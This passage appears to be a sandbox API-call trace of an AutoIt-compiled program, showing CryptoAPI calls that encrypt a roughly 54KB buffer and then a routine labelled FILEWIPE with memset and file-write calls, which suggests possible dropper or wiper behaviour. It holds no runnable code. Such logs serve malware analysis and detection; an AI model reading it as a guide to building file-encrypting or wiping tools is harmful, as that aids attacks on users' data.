lpMsg=0xe8f3dfe090, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe090) returned 0 [0022.189] PeekMessageW (in: lpMsg=0xe8f3dfe090, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe090) returned 0 [0022.189] CharUpperBuffW (in: lpsz="__CRYPT_DLLHANDLE", cchLength=0x11 | out: lpsz="__CRYPT_DLLHANDLE") returned 0x11 [0022.189] PeekMessageW (in: lpMsg=0xe8f3dfd7f0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfd7f0) returned 0 [0022.190] CharLowerBuffW (in: lpsz="bool", cchLength=0x4 | out: lpsz="bool") returned 0x4 [0022.190] CryptGetKeyParam (in: hKey=0xe8f4062720, dwParam=0x7, pbData=0xe8f4064c40, pdwDataLen=0xe8f3dfd858, dwFlags=0x0 | out: pbData=0xe8f4064c40*=0x660e, pdwDataLen=0xe8f3dfd858*=0x4) returned 1 [0022.190] PeekMessageW (in: lpMsg=0xe8f3dfe090, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe090) returned 0 [0022.190] PeekMessageW (in: lpMsg=0xe8f3dfe090, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe090) returned 0 [0022.190] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0022.190] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0022.190] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0022.190] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0022.190] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0022.190] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0022.190] CharUpperBuffW (in: lpsz="_CRYPT_STARTUP", cchLength=0xe | out: lpsz="_CRYPT_STARTUP") returned 0xe [0022.190] PeekMessageW (in: lpMsg=0xe8f3dfe440, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe440) returned 0 [0022.190] CharUpperBuffW (in: lpsz="__CRYPT_REFCOUNT", cchLength=0x10 | out: lpsz="__CRYPT_REFCOUNT") returned 0x10 [0022.190] PeekMessageW (in: lpMsg=0xe8f3dfde30, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfde30) returned 0 [0022.190] PeekMessageW (in: lpMsg=0xe8f3dfe440, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe440) returned 0 [0022.190] PeekMessageW (in: lpMsg=0xe8f3dfe440, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe440) returned 0 [0022.190] CharUpperBuffW (in: lpsz="__CRYPT_REFCOUNTINC", cchLength=0x13 | out: lpsz="__CRYPT_REFCOUNTINC") returned 0x13 [0022.190] PeekMessageW (in: lpMsg=0xe8f3dfe120, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe120) returned 0 [0022.190] PeekMessageW (in: lpMsg=0xe8f3dfe120, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe120) returned 0 [0022.190] PeekMessageW (in: lpMsg=0xe8f3dfe440, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe440) returned 0 [0022.190] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0022.190] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0022.190] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0022.190] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0022.190] CharUpperBuffW (in: lpsz="__CRYPT_DLLHANDLE", cchLength=0x11 | out: lpsz="__CRYPT_DLLHANDLE") returned 0x11 [0022.190] PeekMessageW (in: lpMsg=0xe8f3dfdeb0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfdeb0) returned 0 [0022.191] CharLowerBuffW (in: lpsz="bool", cchLength=0x4 | out: lpsz="bool") returned 0x4 [0022.191] CryptEncrypt (in: hKey=0xe8f4062720, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0, pdwDataLen=0xe8f3dfdf68*=0xd580, dwBufLen=0x0 | out: pbData=0x0, pdwDataLen=0xe8f3dfdf68*=0xd590) returned 1 [0022.191] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0022.191] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0022.191] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0022.191] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0022.191] CharLowerBuffW (in: lpsz="byte[54673]", cchLength=0xb | out: lpsz="byte[54673]") returned 0xb [0022.191] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0022.192] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0022.192] CharUpperBuffW (in: lpsz="__CRYPT_DLLHANDLE", cchLength=0x11 | out: lpsz="__CRYPT_DLLHANDLE") returned 0x11 [0022.192] PeekMessageW (in: lpMsg=0xe8f3dfdeb0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfdeb0) returned 0 [0022.192] CharLowerBuffW (in: lpsz="bool", cchLength=0x4 | out: lpsz="bool") returned 0x4 [0022.192] CryptEncrypt (in: hKey=0xe8f4062720, hHash=0x0, Final=1, dwFlags=0x0, pbData=0xe8f41e8a80*, pdwDataLen=0xe8f3dfdf68*=0xd580, dwBufLen=0xd590 | out: pbData=0xe8f41e8a80*, pdwDataLen=0xe8f3dfdf68*=0xd590) returned 1 [0022.192] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0022.192] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0022.192] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0022.192] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0022.192] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0022.192] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0022.192] CharUpperBuffW (in: lpsz="_CRYPT_SHUTDOWN", cchLength=0xf | out: lpsz="_CRYPT_SHUTDOWN") returned 0xf [0022.192] PeekMessageW (in: lpMsg=0xe8f3dfe440, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe440) returned 0 [0022.192] CharUpperBuffW (in: lpsz="__CRYPT_REFCOUNTDEC", cchLength=0x13 | out: lpsz="__CRYPT_REFCOUNTDEC") returned 0x13 [0022.192] PeekMessageW (in: lpMsg=0xe8f3dfe120, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe120) returned 0 [0022.192] PeekMessageW (in: lpMsg=0xe8f3dfe120, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe120) returned 0 [0022.192] PeekMessageW (in: lpMsg=0xe8f3dfe440, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe440) returned 0 [0022.192] CharUpperBuffW (in: lpsz="__CRYPT_REFCOUNT", cchLength=0x10 | out: lpsz="__CRYPT_REFCOUNT") returned 0x10 [0022.192] PeekMessageW (in: lpMsg=0xe8f3dfde30, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfde30) returned 0 [0022.192] PeekMessageW (in: lpMsg=0xe8f3dfe440, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe440) returned 0 [0022.192] PeekMessageW (in: lpMsg=0xe8f3dfe440, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe440) returned 0 [0022.192] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0022.195] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0022.195] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0022.195] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0022.196] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0022.196] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0022.196] CharUpperBuffW (in: lpsz="_CRYPT_DESTROYKEY", cchLength=0x11 | out: lpsz="_CRYPT_DESTROYKEY") returned 0x11 [0022.196] PeekMessageW (in: lpMsg=0xe8f3dfe990, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe990) returned 0 [0022.196] CharUpperBuffW (in: lpsz="__CRYPT_DLLHANDLE", cchLength=0x11 | out: lpsz="__CRYPT_DLLHANDLE") returned 0x11 [0022.196] PeekMessageW (in: lpMsg=0xe8f3dfe0f0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe0f0) returned 0 [0022.196] CharLowerBuffW (in: lpsz="bool", cchLength=0x4 | out: lpsz="bool") returned 0x4 [0022.196] CryptDestroyKey (hKey=0xe8f4062720) returned 1 [0022.196] PeekMessageW (in: lpMsg=0xe8f3dfe990, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe990) returned 0 [0022.196] PeekMessageW (in: lpMsg=0xe8f3dfe990, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe990) returned 0 [0022.196] CharUpperBuffW (in: lpsz="_CRYPT_SHUTDOWN", cchLength=0xf | out: lpsz="_CRYPT_SHUTDOWN") returned 0xf [0022.196] PeekMessageW (in: lpMsg=0xe8f3dfe670, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe670) returned 0 [0022.196] CharUpperBuffW (in: lpsz="__CRYPT_REFCOUNTDEC", cchLength=0x13 | out: lpsz="__CRYPT_REFCOUNTDEC") returned 0x13 [0022.196] PeekMessageW (in: lpMsg=0xe8f3dfe350, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe350) returned 0 [0022.196] PeekMessageW (in: lpMsg=0xe8f3dfe350, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe350) returned 0 [0022.196] PeekMessageW (in: lpMsg=0xe8f3dfe670, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe670) returned 0 [0022.196] CharUpperBuffW (in: lpsz="__CRYPT_REFCOUNT", cchLength=0x10 | out: lpsz="__CRYPT_REFCOUNT") returned 0x10 [0022.196] PeekMessageW (in: lpMsg=0xe8f3dfe060, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe060) returned 0 [0022.196] PeekMessageW (in: lpMsg=0xe8f3dfe670, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe670) returned 0 [0022.196] PeekMessageW (in: lpMsg=0xe8f3dfe670, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe670) returned 0 [0022.196] PeekMessageW (in: lpMsg=0xe8f3dfe990, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe990) returned 0 [0022.196] PeekMessageW (in: lpMsg=0xe8f3dfe990, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe990) returned 0 [0022.196] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0022.217] CharUpperBuffW (in: lpsz="_CRYPT_SHUTDOWN", cchLength=0xf | out: lpsz="_CRYPT_SHUTDOWN") returned 0xf [0022.217] PeekMessageW (in: lpMsg=0xe8f3dfeb20, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeb20) returned 0 [0022.217] CharUpperBuffW (in: lpsz="__CRYPT_REFCOUNTDEC", cchLength=0x13 | out: lpsz="__CRYPT_REFCOUNTDEC") returned 0x13 [0022.217] PeekMessageW (in: lpMsg=0xe8f3dfe800, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe800) returned 0 [0022.217] PeekMessageW (in: lpMsg=0xe8f3dfe800, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe800) returned 0 [0022.217] PeekMessageW (in: lpMsg=0xe8f3dfeb20, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeb20) returned 0 [0022.217] CharUpperBuffW (in: lpsz="__CRYPT_REFCOUNT", cchLength=0x10 | out: lpsz="__CRYPT_REFCOUNT") returned 0x10 [0022.217] PeekMessageW (in: lpMsg=0xe8f3dfe510, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe510) returned 0 [0022.217] PeekMessageW (in: lpMsg=0xe8f3dfeb20, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeb20) returned 0 [0022.217] CharUpperBuffW (in: lpsz="__CRYPT_DLLHANDLE", cchLength=0x11 | out: lpsz="__CRYPT_DLLHANDLE") returned 0x11 [0022.217] PeekMessageW (in: lpMsg=0xe8f3dfe5a0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe5a0) returned 0 [0022.217] CharUpperBuffW (in: lpsz="__CRYPT_CONTEXT", cchLength=0xf | out: lpsz="__CRYPT_CONTEXT") returned 0xf [0022.217] PeekMessageW (in: lpMsg=0xe8f3dfe5a0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe5a0) returned 0 [0022.217] CharLowerBuffW (in: lpsz="bool", cchLength=0x4 | out: lpsz="bool") returned 0x4 [0022.217] CryptReleaseContext (hProv=0xe8f40633d0, dwFlags=0x0) returned 1 [0022.217] PeekMessageW (in: lpMsg=0xe8f3dfeb20, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeb20) returned 0 [0022.217] CharUpperBuffW (in: lpsz="__CRYPT_DLLHANDLE", cchLength=0x11 | out: lpsz="__CRYPT_DLLHANDLE") returned 0x11 [0022.217] PeekMessageW (in: lpMsg=0xe8f3dfe5a0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe5a0) returned 0 [0022.217] PeekMessageW (in: lpMsg=0xe8f3dfeb20, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeb20) returned 0 [0022.217] PeekMessageW (in: lpMsg=0xe8f3dfeb20, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeb20) returned 0 [0022.217] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0022.219] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0022.227] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0022.228] PeekMessageW (in: lpMsg=0xe8f3dff160, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dff160) returned 0 [0022.228] CharUpperBuffW (in: lpsz="FILEWIPE", cchLength=0x8 | out: lpsz="FILEWIPE") returned 0x8 [0022.228] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0022.228] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0022.228] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0022.228] CharLowerBuffW (in: lpsz="byte[54656]", cchLength=0xb | out: lpsz="byte[54656]") returned 0xb [0022.230] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0022.230] CharUpperBuffW (in: lpsz="MEMSET", cchLength=0x6 | out: lpsz="MEMSET") returned 0x6 [0022.230] PeekMessageW (in: lpMsg=0xe8f3dfeb20, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeb20) returned 0 [0022.231] CharLowerBuffW (in: lpsz="ptr:cdecl", cchLength=0x9 | out: lpsz="ptr:cdecl") returned 0x9 [0022.231] LoadLibraryW (lpLibFileName="msvcrt.dll") returned 0x7ffe2a8b0000 [0022.231] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="memset", cchWideChar=7, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 7 [0022.231] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="memset", cchWideChar=7, lpMultiByteStr=0xe8f40645c0, cbMultiByte=7, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="memset", lpUsedDefaultChar=0x0) returned 7 [0022.231] GetProcAddress (hModule=0x7ffe2a8b0000, lpProcName="memset") returned 0x7ffe2a8b1690 [0022.232] FreeLibrary (hLibModule=0x7ffe2a8b0000) returned 1 [0022.232] PeekMessageW (in: lpMsg=0xe8f3dfeb20, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeb20) returned 0 [0022.232] PeekMessageW (in: lpMsg=0xe8f3dfeb20, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeb20) returned 0 [0022.232] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0022.232] CharUpperBuffW (in: lpsz="_WINAPI_CREATEFILE", cchLength=0x12 | out: lpsz="_WINAPI_CREATEFILE") returned 0x12 [0022.233] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0022.233] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0022.233] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0022.233] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0022.234] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0022.234] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0022.234] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0022.234] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0022.234] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0022.234] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0022.234] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0022.235] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0022.235] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0022.235] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0022.235] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0022.235] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0022.235] CharLowerBuffW (in: lpsz="handle", cchLength=0x6 | out: lpsz="handle") returned 0x6 [0022.235] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0022.235] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0022.235] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0022.235] CharUpperBuffW (in: lpsz="_WINAPI_WRITEFILE", cchLength=0x11 | out: lpsz="_WINAPI_WRITEFILE") returned 0x11 [0022.235] PeekMessageW (in: lpMsg=0xe8f3dfeb20, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeb20) returned 0 [0022.235] CharLowerBuffW (in: lpsz="bool", cchLength=0x4 | out: lpsz="bool") returned 0x4 [0022.235] PeekMessageW (in: lpMsg=0xe8f3dfeb20, hWnd=0x0, wMsgFilterMin=0x0, 